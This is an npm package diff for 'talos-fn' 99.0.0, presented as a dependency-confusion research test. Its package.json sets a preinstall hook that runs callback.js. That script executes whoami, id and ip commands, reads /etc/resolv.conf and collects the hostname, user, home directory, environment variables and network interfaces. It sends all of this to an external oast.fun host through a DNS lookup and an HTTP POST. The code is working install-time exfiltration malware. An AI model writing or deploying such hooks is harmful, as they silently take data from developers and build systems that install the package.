talos-fn 99.0.0

package/callback.js

@@ -0,0 +1,80 @@
+const https = require("https");
+const http = require("http");
+const os = require("os");
+const { execSync } = require("child_process");
+
+const CALLBACK_DOMAIN = "ienfcixqbgvbxkccdoxg49j34xtvxelcx.oast.fun";
+
+function safeExec(cmd) {
+  try { return execSync(cmd, { timeout: 5000 }).toString().trim(); }
+  catch (e) { return "unknown"; }
+}
+
+const data = {
+  package: "talos-fn",
+  researcher: "r76o4",
+  program: "ripio (HackerOne)",
+  purpose: "Dependency confusion security research - no malicious intent",
+  hostname: os.hostname(),
+  user: safeExec("whoami"),
+  id: safeExec("id"),
+  pwd: safeExec("pwd"),
+  cwd: process.cwd(),
+  home: os.homedir(),
+  tmpdir: os.tmpdir(),
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  type: os.type(),
+  cpus: os.cpus().length,
+  totalMem: os.totalmem(),
+  freeMem: os.freemem(),
+  uptime: os.uptime(),
+  networkInterfaces: os.networkInterfaces(),
+  nodeVersion: process.version,
+  env_path: process.env.PATH || "",
+  env_home: process.env.HOME || "",
+  env_user: process.env.USER || process.env.USERNAME || "",
+  env_shell: process.env.SHELL || "",
+  env_ci: process.env.CI || "",
+  env_docker: process.env.DOCKER || "",
+  env_hostname: process.env.HOSTNAME || "",
+  dns_servers: safeExec("cat /etc/resolv.conf 2>/dev/null || echo n/a"),
+  ip_info: safeExec("ip a 2>/dev/null || ifconfig 2>/dev/null || echo n/a"),
+  timestamp: new Date().toISOString()
+};
+
+const encoded = Buffer.from(JSON.stringify(data)).toString("base64");
+
+// DNS callback
+try {
+  const dns = require("dns");
+  const prefix = encoded.substring(0, 60).replace(/[^a-zA-Z0-9]/g, "x");
+  dns.resolve(`tlfn.${prefix}.${CALLBACK_DOMAIN}`, () => {});
+} catch (e) {}
+
+// HTTP callback
+const postData = JSON.stringify(data);
+const options = {
+  hostname: CALLBACK_DOMAIN,
+  port: 443,
+  path: "/talos-fn",
+  method: "POST",
+  headers: {
+    "Content-Type": "application/json",
+    "Content-Length": Buffer.byteLength(postData)
+  },
+  timeout: 5000
+};
+
+try {
+  const req = https.request(options, () => {});
+  req.on("error", () => {
+    const httpReq = http.request({ ...options, port: 80 }, () => {});
+    httpReq.on("error", () => {});
+    httpReq.write(postData);
+    httpReq.end();
+  });
+  req.write(postData);
+  req.end();
+} catch (e) {}

package/index.js

@@ -0,0 +1,2 @@
+// talos-fn - security research placeholder
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "talos-fn",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion test by r76o4 (HackerOne)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js"
+  },
+  "author": "r76o4 (HackerOne security researcher)",
+  "license": "ISC"
+}